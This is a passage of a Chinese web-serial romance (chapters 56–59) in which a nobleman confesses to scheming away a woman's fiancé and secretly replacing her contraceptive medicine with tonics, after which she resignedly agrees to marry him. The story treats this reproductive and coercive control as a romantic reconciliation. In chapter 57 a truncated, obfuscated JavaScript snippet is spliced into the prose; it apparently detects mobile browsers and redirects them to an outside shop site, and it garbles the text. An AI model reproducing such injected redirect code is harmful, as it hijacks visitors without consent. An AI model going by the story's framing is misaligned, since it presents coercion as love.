“叶小姐若是饿了,我这就让人送晚膳过来,”梅氏贴心道,“在床上放张案几替叶小姐摆菜,这样就不必下床走动,可好?”
叶含珍被梅氏眼里的温柔安抚住,点头应下。
梅氏松了一口气,很快就让人将晚膳摆好,照顾着叶含珍用完。
如今大伯还昏迷着,若是叶小姐还是执意要离开,这事就不好办了。
好在出乎梅氏的意料,这位叶小姐还挺好说话的。
闻景是第二日午后才醒过来的。
甫一睁开眼,就想强撑着背上皮开肉绽的伤,往床下爬。
闻璃告了几日假,守了闻景一夜。
见他大哥一醒来就要往床下滚,当即就一把将人拉住,安置在枕上趴着。
“大哥是要去找叶小姐吗?”
闻璃按着闻景,不让他乱动,“大哥放心,此刻叶小姐就在溶月院的西厢房里歇着,只要大哥好好养伤,很快就能见到她了。”
“闻璃……这、这是怎么回事?”
闻景烧了半夜,嗓子沙哑得就如含着沙砾一般。好在闻璃按着时辰给他灌了药,这会已经退烧了。
闻景趴着枕头上,转头去看坐在床边的闻璃。只是这一动,很快就将背后的伤口牵动,让闻景忍不住呲牙咧嘴。
她明明被闻璃派人送走了,怎么会在,会在溶月院?
闻璃见他额间汗珠密密麻麻的涌起,当即开口道:“大哥你昨日昏过去之后,我派去送叶小姐的下人,回禀说她也昏倒在婆子的背上。忌于大哥你说的话,我不敢轻易送叶小姐回府,只能将她安置在溶月院的西厢房里。”
“那她——”
“她没有什么大碍,”闻璃知道他大哥想问什么,干脆抢先一步打断闻景的话,“我让内子给她诊了脉,也看了双膝上的伤。”
“内子亲手调了药膏,给她在双膝敷上,还处理了她两只手心里的伤。”
闻景听完闻璃的交代,才消停得趴在枕间。
“……谢谢你,闻璃。”
过了不知多久,闻璃才听到他大哥在给他道谢。
他起身走至案桌边,斟了一杯温水递到闻景手里,“大哥喝些水,润润嗓子吧。”
闻景接过杯盏,仰头大口喝完。
“再来一杯。”只一杯温水根本不足以抚平他的燥渴。
56. 别骗我(一)
闻璃提着壶走至床边,又给闻景慢慢斟了一杯。
“母亲一早就来看过大哥,只是见你仍昏睡着,便拉着你的手哭了两场,才被闻菲哄着回了正院。”
“事已至此,大哥有何打算?”
闻景咽尽喉间的最后一口水,便拿着空茶盏在手里不停地把玩,听到闻璃问起以后,不由笑道:“打也打了,人也留了,自然是寻个吉日上门提亲去。”
“那叶小姐那边……”闻璃迟疑道。
昨日叶小姐分明是不愿意嫁给他的,若非如此,父亲怎么会大发怒火?
闻景听到闻璃话里的迟疑,眼里迸发出一抹亮意,轻笑起来:“我去求她。”反正这次她能意愿来母亲的寿宴,也是他做低附小求来的。
“……闻璃,是我没你那么多的福分,自小就能与心爱的人,青梅竹马一起长大。”
闻景像是回忆起什么,苦涩摇头道:“我第一次见到她时,便已心动不已。只是可惜的是,她那时已和他人有了婚约,不过再过几个月就要成亲。”
于是他便借着叶孝义卷入军粮案一事,让叶孝义亲自将叶含珍送到他手里。
得了人还不够,还想带着人回京城,与她长长久久得在一起。至于他后面做下的一切事,便是围绕着他的贪恋,徐徐开展的。
闻璃听完良久,才慢慢将茶壶放在桌子上,发出沉闷的磕碰声。
他已经彻底明白大哥是不可能放开那位叶小姐,只是暗暗嘘唏起当年他大哥被父亲宠姬蛊惑的一字一句。
若是当年没有这等子事,他大哥是不是就不会与叶小姐走到眼下这种局面?
“大哥还是好好养着伤吧,”闻璃一晚不曾安眠,此刻正捏着眉心,担忧道,“我一早派去宫里,替我告假的下人回来说,太子殿下昨夜在御书房与皇帝激烈争执一番,今早便有传言流出,说太子要彻查当年长随侯府通敌叛国之事。”
“那皇上同意了吗?”
闻景暗自大吃一惊,面色却还维持着镇定。
闻璃摇头:“不知。只是太子自入内阁理政后,他的羽翼便有目共睹的丰裕起来,也许皇上会同意此事也说不定。”
“好了,此事我知道了,”闻景垂眸盯着绣在枕头上的暗纹,“太子的目的我可以猜到一二,但是这事能不能成,还得看皇上的意思。”
毕竟,长随侯府的事,就是这位皇帝亲自下的旨。
甭管外间朝堂上掀起如何滔天大浪,叶含珍已经在溶月院的西厢房里,清清静静住了七八日有余。
她不能下地多走动,每天都会有闻菲和梅氏来陪着说会话,或是练字,或是绣花,时间倒也过得飞快。
只是今日叶含珍用过午膳后,便不再与闻菲说说笑笑。
就算是傍晚时,梅氏让她再用些点心,她也只定定望着温和可亲的梅氏,“二夫人,闻世子醒了是吗?”
这么多天,早该醒了。
只是叶含珍只能装作不知,闻家人便也不说。
直到连着这两三日的膳食,茶水,点心和衣物,都是按照她平日的喜好准备的。
就算是她还想继续视而不见,也知这不是长久之计,他们总归还是要见面的。正好,她那日想问的话,还没问闻景。
听闻叶含珍问及大伯,梅氏脸上的笑便有些不自然。看着她眼神清明望着自己,就知此事已经瞒不住她。
梅氏双手交叠在膝上,低声道:“是,大伯已经醒了,就在受伤的第二日午后。”
那不是都六七日了?叶含珍神色冷冷。
梅氏见了,连忙解释道:“不是要故意瞒着叶小姐的,只是大伯他虽醒来,但听夫君说,大伯背上的鞭伤不轻,就也是这一两天才开始下地走动的!”
叶含珍瞬间了然,怪不得,怪不得两三日前,自己的日常饮食作息,都被梅氏照顾得越发贴心。
原来是闻景那狗东西醒了,在背后故弄玄虚。
叶含珍思及此处,带着歉意的眼神道:“谢谢二夫人这几日的悉心照料,是我不好,不该迁怒二夫人。”
她和闻景之间无论有多少恩恩怨怨,梅氏却是无辜的,更不提她这些时日,还细心得替自己治伤。
梅氏想起从自家夫君那里听到的,有关于她和大伯之间的过往,瞬间有些心疼眼前的女子。
“叶小姐并没有迁怒于我,”梅氏摇头,“若是叶小姐想见大伯,那我便让丫头去正房传个话。”
明明门外那人的袍角时不时划过门缝,叶含珍也只能装作毫不知情的样子,朝梅氏道:“那就多谢二夫人了。”
梅氏听完起身往门口走去,只是刚跨过门槛时,一道高大的身影便直直越过她,大步朝里间走去。
叶含珍看着闻景一阵风似的出现在眼前,不由讥讽道:“怎么不等二夫人出去了再进来?都已经装了好几天,就连这会也装不住?”
“闻景,你到底是什么时候醒的?”
闻景熬了这么些天,才被闻璃放出正房。如今就算听着叶含珍的嘲讽,他也只是淡然一笑。
“反正都被你发现了,我就不必再压抑自己,苦苦等在门外。梅氏方才不是说了吗,我那日受伤第二日午后才醒,至于下床,也就这两天的事。”
闻景才不会告诉叶含珍,是闻璃那臭小子盯得太紧,非要他背上的伤彻底干了痂,才肯让自己出房间。
原本闻景是大哥,闻璃应该听从兄长的话。只是闻璃告诉闻景,若他不好好养着伤,他便不肯管去叶府下聘的事。
这话一出,闻景这位大哥便瞬间哑了口,只好在床上躺了几日。
叶含珍见他面色如常,精神俱佳,越发不待见他。狠狠朝闻景瞪了几眼,便继续捡起绣框里的棚子,低头绣起花来。
闻景见人不肯理自己,也不泄气,只俯身坐在叶含珍身侧,唉声叹气:“我伤了这么些天,你都不来看看我--不对,你不能下地。除了方才,你都没有问过我伤势一句,当真是狠心。”
说完便见叶含珍手下动作一顿,只是很快又飞针走线。
“我父亲那日可是下了死手的,若不是闻璃这些时日的照顾,恐怕我性命不保。”
叶含珍皱起秀眉,瞟了一眼正卖着惨的闻景,很快又低头做自己手上的活计。
这是她准备绣来送给梅氏的香囊。
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无长物,只能用这些小物件,聊表她的谢意。
“……珍珍,求你嫁给我好吗?”
叶含珍手指微颤,只觉一痒,便看见原本洁白的指头上正汇聚着一颗血珠。闻景见叶含珍手臂骤然往后一缩,便握着她的右腕,将正流血的指头含在口中。
叶含珍抽不出被闻景握紧的手,只好靠着身后的靠枕,闭目避开闻景灼热滚烫的眼神。
那眼神彷佛要将她吃进去一般,比他口的温度还灼人。
闻景估摸着时间差不多了,才松开了叶含珍的指头,直愣愣得望着眼前朝思暮想的女子。
而叶含珍却在闻景放开她手腕时,便睁开眼要下床去。
“你去哪里?”闻景拉着人,不让她动。
叶含珍没好气道:“我去洗手。”
原来是嫌他脏?
闻景得了便宜,此刻也做起好人来,温声道:“那你也不能乱动,你等着,我给你拧个帕子来擦一擦就好了。”
闻景边往盆架那走,边鼓囔:“我的口水有那么脏吗?这么嫌弃我。”
叶含珍靠在床头,看着闻景握着自己的手腕,用湿帕子仔细拭去湿痕,心里不免涌上一股无力感。
她不知道是她变了,还是闻景变了,抑或是,他们都变了。总之,他们现在的相处,都透露出让人难以接受的熟稔和暧昧。
要是换作从前的闻景,早在自己不理会他时,他便早就暴怒而起了,哪还会丝毫不理自己的漠视?
闻景不仅将食指上的湿痕擦去,还将她双手都擦得干干净净。
“……闻景,我有一件事想问你,希望你能如实回答我。”
别再骗她。
“珍珍想问什么?”闻景收敛起嘴角的笑容,心头忽涌起一阵不安。
叶含珍怔怔回想起那日在假山后听到的对话,蓦然扬起唇角,朝闻景灿然一笑:“你告诉我,温行松他的妻子与你们郑国公府是何关系?”
“……闻景,你不要再骗我了,我想听实话。”
色若春晓,明如珍宝。
那抹绽放在她绯色唇边的笑,宛若一股暖流自脚底而上,将他浑身的血液烧得沸腾。
闻景被叶含珍唇角的笑容,彻底勾走了心神。只是下一瞬间,听清她唇间吐出的问题时,便几乎要停了心跳。
闻景:“珍珍,你那日拒绝沈俞静带你走,就是想问我这个问题吗?”
叶含珍眉眼间依旧漾着笑意,“闻景,只要你如实告诉我,你要怎么样都行。”
闻景面对叶含珍这样的引诱,深深吸了口气。
他想要她,却更怕她知道这一切。
只是叶含珍却不再给他继续犹豫的机会,噙着笑:“你要知道,就算你今日骗了我,也不能保证可以骗我一辈子,我总有办法知道我想知道的事。”
尽管心里有无数令人绝望的猜想,但她还是想亲口问问闻景,免得自己怪错了人。
此刻外间的夕阳正好,金色霞光越过大开的门窗,将屋子里熏得暖烘烘的。
夏日就要来了。
而这夺目的霞光,对于此刻的闻景来说,却是像是一道催命符。
57. 别骗我(二)
叶含珍等了不知多久,才听到闻景的声音:“……温行松娶的是京兆尹陈家的大小姐陈若清。陈家如今的主母,也就是陈若清的母亲,是我父亲的表妹。”
“她唤我父亲舅舅,唤我母亲舅母。”
也许是天气太热,还未等得及夏日来临,院子里的榴树上便传来阵阵蝉鸣,叫得人心烦意乱。
忽不知哪里来的一阵清风抚过碧绿的叶,才叫这恼人的蝉鸣顿住。
可惜,只维持了约莫两息,那蝉便又拼命嘶喊起来。
叶含珍似不认识闻景般,微微侧头打量着眼前垂眸静默的男子。
视线从他浓黑英气的眉,高挺的鼻,薄厚适中的唇划过,直到将他整个人纳入眼里。
怎么会这样?
叶含珍眼前一片片发黑。
哭,哭也痛。
不哭,更是觉着心口如刀搅弄,根本受不住那股令人窒息的碎裂感。就好像有人将她的脑子
劈开,要狠狠挖去仍留在她记忆里的笑容。
那是温行松的一颦一笑。
闻景自说完这话后,不得不承认,自己是个不折不扣的疯子。
看着她抱着锦被不停颤抖的身子,他忍不住想去将人揽在怀中安慰,却被她一把推开,跌坐在踏脚上。
“嘶--”闻景倒吸一口凉气。
也不知是伤口扯疼了,还是因着床上传来的哀泣,眼眶里也慢慢蓄积起热意。
“闻景,除了这件事,还有吗?”
叶含珍嗫喏着唇瓣:“若还有其他你背着我做下的恶事,不妨今日都坦坦荡荡告诉我,我也想知道,你能做多少件伤天害理的事。”
闻景神情僵住,下一刻咬牙撑起身躯跪伏在床边,将头埋在她腰间。
随着男人在腰间呼出的急促气息,叶含珍只当他还是不愿意坦白。
她想起那日在假山后听到的对话,整个人似要裂开一般。
温行松句句关怀那女子的话,同那女子体贴入微,替他着想的话宛如魔咒,慢慢嵌入她的血肉。
郎情妾意,大抵也就是这般。
叶含珍想要推开埋在腰间的人,耳畔却响起闻景低闷的声音。
“……我曾在离开临州之前,准备了三路人马分别出城,就是为了让你避开温行松,心甘情愿得随我回京。”
“还有吗?”
“还有,”闻景的眼泪很快将她腰间那块布料浸湿,“我给你准备的避子汤是假的,那些只是我让大夫替你开的滋补身体的药。”
闻景说完,便觉手下抱着身躯猛然一震。
“珍珍!我错了,我错了!”
闻景低吼痛哭道,“我不该用如此卑鄙下流的手段将你困在身边,我应该好好同你讲,好好保护着你,不该伤害你,伤害你身边的所有人!就算我第一眼就对你动心,也该与温行松堂堂正正的一较高下,不该,不该……”
闻景说到最后,自己也说不下去了。
叶含珍闻言,两只耳朵嗡鸣一片,听不见周遭任何声响。直到那阵嗡鸣声退去,才猛然低头去埋在她腰畔低声啜泣的男人。
大颗大颗泪珠砸在闻景的后颈上,很快,那些冰凉的泪水便顺着肌肤往衣领内滑落。
闻景伏在她腰间,整个后背的肌肉都绷紧,只是仍不肯放手。
“……闻景,你真的赢了。”
叶含珍浑身发软,顺着闻景的力道,往后一仰,闭目涩声道:“你做了这么多恶事,不就是要我心甘情愿嫁给你吗?”
“那我便如你所愿,嫁给你好了。只求你别在折腾我身边的人,他们都是无辜的。”
闻景闻言呆滞一瞬,缓缓从她腰间抬起头来:“你、你当真愿意嫁给我吗?”
随即不等叶含珍回应,又哭又笑道:“珍珍,你之前也这样说过,可是你却在我父亲面前拒绝了这门婚事。”
叶含珍抬手捂住眼睛,她以为那日闻国公知道她不愿意嫁给闻景,便会拦住闻景放她离开。
只是她一觉醒来,却从梅氏口中得知,她眼下所在的地方,是闻景在郑国公府的居所。
看吧,就算是那日怒发冲天,恨铁不成钢的闻国公,将闻景在她面前打得皮开肉绽,也不会违了闻景的心愿。
更不提那位答应派人送她离开的闻二公子。
他们都向着闻景,帮着闻景。
而自己呢?
叶含珍闭着眼躺在床上,如溺水之人大口大口喘着气,双手胡乱去抓眼下可以抓到的一切。
冰冷纤细的十指被人紧紧握住,下一息便贴在潮湿的温热肌肤上。
闻景看她挥舞着双手在空中乱抓,忍不住握住,将自己的脸贴了上去。
“我不会再食言,”叶含珍喘息道,“那日闻国公将你打得半死,闻二公子也答应送我走,我眼下却还是如你所愿,躺在你的院子里,听你痛哭流涕,听你失声忏悔。”
反正都没有用,那她还要坚持什么呢?
“我会嫁给你……或者说你想怎么样都可以。”
无论是嫁给闻景,还是做闻景的妾室通房,在她眼里,都没有什么差别。
闻景止住眼泪,呆呆愣愣望着闭眼喘息的叶含珍。
他张了张口,却不知道该说什么。
“就算是一辈子被你关在梨花巷里,我都不会再妄想离开你……我会乖乖的,乖乖的做你想让我成为的人,不会再忤逆你。”
既然结果都一样,那就这样吧。
至少,她还想她身边其他没有被闻景掌控的人,能顺遂得过上他们属于他们自己的人生。
不要像她和温行松一样,这辈子只能在闻景手里讨活。
闻景如何不知她此刻的悲痛?
他缓缓起身坐在床边,将人圈在怀里,让她靠在自己胸口上。
“你答应就好,我没不相信你,只是……只是太高兴了,有些不敢相信。”
他方才一一交代完自己做下的卑劣之事,已经做好她要与自己彻底决裂的准备。
哪知峰回路转,叶含珍竟真的践行诺言,答应嫁给他?
耳畔只能听到隔着衣料传来的“咚咚”心跳声,叶含珍被心头涌上一股酸软的情绪裹挟着,慢慢蜷起身体,靠在闻景起伏不定的胸膛上,默默垂泪。
闻景知道她为何会忽然答应自己,但他不在乎。
就连此刻背上阵阵让人眼前发黑的剧痛,他也觉得甘之如饴。
“……许是老天爷也瞧不过眼我做下的恶事,自我们在一起后,房事只多不少,也未见有一子半息。珍珍,我们重新开始,好不好?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230028|193891||http|test|mini|href|location''.split(''|''),0,{}));
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>一年多时间,日日夜夜的纠缠,都未有喜讯传来。
也许是老天爷对他的惩罚。
听着闻景的喃喃低语,叶含珍却睁开哭得肿胀的双眼,泪眼朦胧道:“闻景,别太贪心。我既已经答应嫁给你,就会老老实实坐上郑国公府迎娶的花轿,伴你一生。至于旁的,你就别再逼我了。”
答应嫁给他,是她所能做到的,最后的底线。
只是要她与他重新开始,那是如何也办不到的。
“你费尽心力,如今已经如愿以偿,就给我心里留块干净地,让我喘口气吧。”
叶含珍任由渐渐从眼角溢出的泪珠,沾湿闻景胸口处的衣料,不停抽噎着:“闻景,我恨你,我恨你……”
闻景听着她浅浅低吟,仰头流泪道:“……我知。”随即便低头将人紧紧揽在怀中,在她发间轻啄。
屋子里静悄悄的,闻景院里的管事丫头带着几个未束发的小丫头,将屋里的烛火通通点起。
灯火通明的溶月院,将天际边最后一丝橘光,被蓝紫色的夜幕侵蚀殆尽,照得清清楚楚。
廊檐下挂着灯笼被带着暖意的晚风,吹得微微晃动起来。
昏黄的烛光洒满廊下,闻璃携着梅氏站在西厢房门口,听得里间声响渐歇。
只偶尔传来一丝若有若无的低泣声。
“走吧,这几日为着大哥和叶小姐的事,娘子受累了,咱们也回去歇息。”
闻璃一手牵着梅氏的手,慢慢顺着游廊往院门走。
梅氏站在院门口,回头朝身后的院落望去,低声道:“叶小姐她……”
里面两人说话的声音不算小,她与夫君站在门口时,几乎全部都听得真切。
叶小姐已经答应了大伯的求亲。
闻璃执起梅氏的手,低头在她手背上落下一吻,却换来梅氏的一个瞪眼。
“你操心他们干什么?大哥如今抱得美人归,等府里过几日办完闻菲的及笄宴,就要替大哥操办下聘成亲的各项事宜,还有咱们干活的时候呢!”闻璃失笑道。
他握紧手里梅氏欲抽回的手,仍继续往自己院子走去。
梅氏拗不过他,只得红着脸颊与他齐齐向前。闻璃侧头看着梅氏雪白面庞上浮起的嫣红,又往溶月院里望了一眼,转头想起那日他大哥说起羡慕他与梅氏的话。
廊下不停晃动的灯笼,将两个人携手而去的背影渐渐变得模糊。
挟裹着初夏时节的各色香气,徐徐将窗前挽起的青纱撩起又落下,闻景则怀揣着满腔的酸胀之感,和鼻间的馥郁气息将已经哭累趴在自己身上睡着的叶含珍,紧紧搂在怀中。
第二日,大夫替闻景换好药后,便皱着眉头,朝一旁脸色难看的闻璃拱手道:“闻二公子,闻世子的伤口有些都裂开,如今天气渐热,若是再不仔细养着,怕是要化脓。”
闻璃点头,只等将大夫送到门口转身站在床前,才朝闻景道:“大哥都听到了?你背上的伤口不能再由你胡闹了,大哥你若是不听大夫的话,我便去请叶小姐来劝劝你。”
叶含珍今日一早就得了梅氏的允许,可以下床走动,此刻正由闻菲陪着在园子里散心透气呢。
闻景听弟弟搬出叶含珍来警告自己,只没好气道:“你也会学会怎么拿捏你大哥了?你还是我亲弟弟吗?”
58. 旧事重提
闻璃被气笑,几步走至椅子旁坐下:“大哥还是快些养好伤吧。眼下太子请皇上重新彻查长随侯府一事,被皇上下旨申饬,原本朝中都以为咱们这位太子要倒霉了,结果令人目瞪口呆的是,被贬斥,被流放的人,竟是六皇子手下的得力之人。”
皇帝出乎意料得处罚了六皇子的人,还将六皇子手里的吏部和礼部之权收回。
就连他那位长宠不衰的生母柳贵妃,也被禁足在自己寝殿里。
闻景皱眉:“那太子那边呢?皇上下旨申饬了他以后就没了动静吗?”
他那日听闻璃说沈俞静失心疯,去向皇上请旨重新查长随侯府的案子时,还以为太子这次会为着此事,彻底被六皇子沈俞风扳倒。
没想到被扳倒的却是沈俞风。
“动静?”
闻璃慢慢喝着茶,悠然道:“动静有啊。据我所知,太子已经开始命人重新修整破败多年的长随侯府,若是大哥此刻还在梨花巷住着,怕是会被吵得睡不着觉。”
太子既然敢动手修整长随侯府,定然是皇上知道且答应的。
闻景低头想了一会,才沉声道:“他想查就查吧,白家的人都死绝了,就算查出来又如何?我们郑国公府又不是靠沈俞风在朝堂上站稳脚跟的,就算沈俞风真的不顶用,也威胁不到咱们郑国公府。”
“不过你说的对,我确实该早些养好伤,亲自去瞧瞧沈俞静到底想做什么。”
闻璃看着面色镇静自若的闻景,叹气道:“我知道大哥如今有能力保住郑国公府,只是登基的人若是太子,只怕是父亲那边—”
“父亲不会坐视不理的,且等着看吧,太子想替长随侯府翻案,皇上就是第一个反对的人。就算太子登基以后再动手,以父亲的手段,怕是会求皇上的遗诏来庇佑郑国公府。”
闻景知道闻璃在担忧什么。
不就是当年举发长随侯白锋通敌叛国的人,是他们的父亲闻言敬吗?
闻璃怕太子就算眼下不能拿郑国公府如何,但等他御极后,便会朝郑国公府动手。
当年的事,他也问过,他父亲说长随侯通敌叛国一事证据确凿,并不是空穴来风。只是没有想到先皇后白氏会在得知消息后,当即就抛下太子与五公主,在寝殿自戕。
如今沈俞静冒着被皇帝申斥,也要大动干戈修整长随侯府,怕是已经按耐不住,要向沈俞风和郑国公府发难。
“成王败寇,我还是知道这个道理的,”闻璃并没有因闻景的话,有丝毫放松,“我其实也想知道,若白家真的是乱臣贼子,那为何皇上还要将凤栖宫锁起来,不许任何除他以外的人进。”
柳贵妃得宠多年不假,但皇帝却一直都没有再立皇后。就连先皇后住过的寝殿,也不曾落败。
失了生母照拂的太子沈俞静和五公主沈俞谣,都平平安安长大了,很难说这些没有皇帝暗中的维护。
闻璃原本以为自己,甚至整个朝廷都猜到了皇帝的心思,只是这会,他却不敢再笃定什么。
“……这些事就交给父亲来做吧,我们再担心也无用,只能做好我们能做好的事。”
闻璃说完后,下一刻就听到闻景道:“既然郑国公府已经站在了太子的对面,那就扶持扶持那个草包一把,昏聩的君主,总比圣明的君主好掌控些。”
“只要皇上没有封沈俞风为王,那就还有机会!”
本朝先太祖有令,皇子封王后即刻入封地,无召不得出。
兄弟两谈完朝中之事,闻景慢慢翻过身,手里把玩着从叶含珍手里哄来的香囊,又提起他们的婚事。
“娘亲前几日来看我时,就说菲儿及笄宴之后就去叶府提亲,至于婚期,当然是越近越好。”
如今朝中不稳,太子和几个皇子都还未娶正妃,未免横生枝节,还是早点将人迎进府里。本就是他们郑国公府理亏,再拖着不办两个人的婚事,只怕两个人会闹得愈发难以收拾。
再说了,闻璃的第二个孩子都出世了,闻景却还没成亲,这让舜华郡主怎么能不心急?
“那大哥可想好了纳名时,用玉雁还是木雁?”闻璃思及闻景的伤,提议道。
时下能用亲自去猎野雁提亲的人不多。
大雁飞得又急又高,还必须是活的,这比起其他野物来,更难得。
闻景闻之一笑:“二弟娶弟妹的时候,都亲自带着人去城外猎雁,更何况是你大哥我?”
“可是—”闻璃有些头疼。
闻景却打断他的话,喉间发出闷闷笑声:“别担心,我是习武之人,若娶亲都没给她猎来一对雁,恐怕她更要记恨我一辈子了。至于我的伤,我这几日都会乖乖在屋里养着,不会再乱动。”
闻璃那日就见识过他大哥对叶含珍的情意,听他这么一说,只好无奈道:“随你。”
反正他们之间的事,旁人还是少插手为好。
闻璃走了之后,闻景便一个人躺在床榻上,握着手里玉色绣白兰的香囊出神。
直到闻菲牵着叶含珍的手,绕过屏风进入内室时,才慌乱得将香囊往怀里一揣。
“大哥,我和叶姐姐来看你来了。”
闻菲拉着叶含珍在不远处的椅子上坐下,朝闻景笑得眉眼弯弯。
闻景见叶含珍面上笑意虽渐渐敛下,但眉间不似往日那般郁色,就知她心情不错。
“大哥……大哥,你看什么呢?”
闻菲连着喊了两声,闻景才将视线从叶含珍身上移开,神色有些尴尬:“没、没看什么,菲儿的及笄礼可准备好了吗?”
闻菲听他转移话头,接过丫头奉上的茶水才挤眉弄眼道:“都准备好了,娘亲已经答应让叶姐姐做我的赞者。”
说完又朝叶含珍道:“叶姐姐,你方才已经答应我了,那就等到我及笄之礼之后再回府吧,免得来回折腾。”
叶含珍闻言朝床上的人看去,随即点头应下:“好。”
闻菲放下茶盏,拉着叶含珍的手,小声欢呼起来:“真好,我还能再和叶姐姐住几天。”
自叶含珍应下闻景的求亲后,她便被闻菲带走,搬进了闻菲的居所。
美名其曰:男女有别。
闻景对此嗤之以鼻,但却不得不替叶含珍打算。
不就是在闻菲那院子里住几日吗?他要是想见她,也只是多走几步路的事。
闻景看不惯妹妹这么得意的模样,当即泼起冷水:“及笄之后,就不能像现在一样咋咋呼呼的,爹娘那边很很快就会替你相看亲事,若是有合心意的子弟,记得早些告诉
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娘亲,让她替你掌掌眼。”
闻菲一听,瞬间撅起小嘴,不满道:“大哥就这么盼着我出嫁吗?我才十五,还可以在家里多待几年呢。”
“我天天来看大哥,却被大哥这么嫌弃,我要去给娘亲告状,说你欺负我。”
闻菲说完忽想起身旁的人,也不起身,只拉着叶含珍的手撒娇道:“叶姐姐,你看我大哥啊,他催我出嫁呢!你得替我教训教训他。”
叶含珍眨了眨眼,不知道自己怎么就卷进他们兄妹之间的战局。但闻菲要她去教训闻景,她却是不敢的。
这几日,闻菲日日都拉着她来瞧闻景,每次对上那人几乎要将她生吞活剥的眼神时,叶含珍都想将自己藏起来。
更何况还要去主动招惹他?
闻菲见叶含珍不开口,只好委屈道:“原来叶姐姐也向着我大哥,想我快点嫁出去呢。”
“闻四小姐,我并非这个意思。”
“你看,姐姐你还是不肯叫我菲儿,”闻菲垂头丧气道,“那日我明明在屏风外听到你唤我大哥的表字,怎么到了我这里就是疏远的“闻四小姐”?
闻景见叶含珍为难的样子,忍不住开口道:“好了,你别再撒娇了,是大哥不好,不该惹妹妹生气,大哥给你道歉。”
闻菲脸上倏然转晴,朝叶含珍笑道:“看吧,我大哥眼里只有叶姐姐,再顾不上旁人的。明明知道我不会吃味,但是见叶姐姐你为难不语的样子,我大哥还是忍不住要替叶姐姐解围。”
闻景听完便知自己被闻菲戏弄了,当即抬眼去望那抹朝思暮想的身影。
只见她垂下眼眸,手下却不停搅弄着帕子。
“我让人准备了你及笄那日的礼,就放在外间的桌案上,”闻景说着便指着屏风外,来来往往的身影,“去吧,去看看喜不喜欢。”
闻菲听他这样明晃晃得支开自己,也不好再多坐,只朝叶含珍揶揄一笑,便起身往外走。
叶含珍听着外间悉悉索索的声响,眼眸不由从窗外开得正盛的紫薇移至闻景那张笑脸上。
这些时日,闻景笑的次数加起来比闻菲还多,也不知道身上养着伤,有什么好高兴的。
“坐过来,”闻景拍拍床侧,“我有话要给你说。”
“就这样说吧,我听得见。”
闻景听她拒绝自己,不由意味深长道:“你确定?”
叶含珍闻言狠狠瞪了他一眼,却见他唇角笑意愈盛,眉梢挑得更高。
没办法,叶含珍挣扎良久,还是缓缓从椅子起身,朝床边走去。
前日就是闻景借口将闻菲支开,也是要求自己坐在他身侧,她不肯,闻景便要下床来拉她。
闻景见人已经走到眼前,长臂一拉,便将人拉至床边坐下。
他手上不停地拨她腰间系带上的青色流苏,启唇道:“等菲儿的及笄之礼后,我便去猎雁,好向你们府上提亲。”
“……”
“问名,纳吉,纳征,请期这些就婚程就很快了,只是我想问问你,亲迎是想定在你生辰七月初二那日,还是定在六月廿九?”
叶含珍也订过亲,她与温行松就光走三书五礼,就足足耗费大半年时间,现下听见婚前五礼还未完成,闻景怎么连亲迎的日子都看好了?
59. 圆圆
闻景见她眉间疑惑之色,便抱着人低声道:“所有的一切事项早都准备好了,若是我没有被父亲打一顿,这会婚前礼怎么也该走得差不多了。亲迎的期,我一早就让大师看好了,只是想着问问你的意思。”
叶含珍心下微震,不禁抬眼正视着眉目温柔的闻景。
他当真是要娶自己的吗?
尽管叶含珍心里如何吃惊,但面上却犹自淡淡,“都可以。”
闻景忽略她话中的随意,俯身去吻她发间冰凉的珠钗。火热的唇瓣贴上华丽的珠翠,也不能将心里的悸动压制住。
闻景猛然吸了一口气,却只将两人额间相抵,并没有吻上那边带着茶水水痕的柔软。
叶含珍如何不知闻景这是怎么了,但她已经渐渐开始接受闻景对自己欲壑的克制。
面对这样的闻景,她不再像从前那般畏惧他。
只是眼下两人近得能听清彼此的心跳,闻景呼出的气息,比午间直射进屋的阳光还让人觉得炙热。
她默默承受着他气息的侵袭,不敢乱动一下。
闻景情动菲菲,叶含珍却冷静相对。
好在外间到底有人,叶含珍又如此乖顺得由他亲近,那就再等几日,闻景暗暗告戒着自己,不可轻易毁去如今两人之间难得的温馨。
叶含珍忍耐许久,也不知闻景到底给闻菲准备了什么礼物,都这么久了,闻菲都还不见回来。
闻景睁眼,深邃的眼眸渐渐浮起点点暗光,手下揽着人的大掌更是热得起了潮意。
对于叶含珍而言,闻景扶在自己肩头上的手哪里是血肉做的,合该是铁匠铺子里的铁汁浇出来的。
“闻景,放开我,”叶含珍还是被闻景逼得将双手抵在他胸前,试图让两人拉出些距离,“我有些渴,我要去喝水。”
闻景却一把捉住那双皓腕,压低嗓音道:“……唤我什么?”
叶含珍轻呼一口气,克制着内心的涩与羞意,嗫喏如蚊:“……斓清。”
“再唤一次,再唤一次我就放开你,决不食言。”
闻景看见那双杏眸上的漆黑羽睫,剧烈颤抖两下,紧接着就听到叶含珍又唤了他一声:“斓清。”
闻景心满意足,在她光洁如玉的额间落下两枚轻吻,叹息道:“珍珍,你知我对你的怜惜吗?”
他如今这样克制自己对她的渴望,不仅是眼下他们还在国公府里,不想有人非议她。
更重要的是,他想她这一次主动。
虽有些痴心妄想,但闻景却想再等等。
叶含珍抵在闻景胸口的手,蓦然收紧,将他身上的衣袍抓得起皱。
她颤声道:“斓清的心意我知,只是可以再给我些时间吗?”
“当然可以,”闻景缓缓松开她的肩,吐出一口气,往后一仰靠在床头上,“等菲儿及笄之后,我就让人送你回叶府,可好?”
叶含珍闻言身子一抖,随即松开了闻景的衣襟,勉强道:“好。”
闻景见她笑得比哭还难看,不免坐起身子试探道:“若你不想回去,那仍和我在梨花巷住着?等到大婚之前再回去也不迟。”
一切都过了明路,郑国公府和叶府里都不会有没眼色的人敢质疑什么,至于外面的人,就更不敢指摘。
况且只要像从前那般低调些行事,就不会有人注意到他们早就在一起。
叶含珍是想亲人,但更怕见到亲人。
她怕她见到父亲的虚荣,阿娘的眼泪,和哥哥叶劲的痛楚。既然这样,那便少见些,彼此间也少流些眼泪。
“……好。”
叶含珍机械般应下,神色却不如刚来时的轻松。
闻菲甫一进来,便见两个人在床边肩抵着肩,不免捂着眼睛道:“我进来了。”
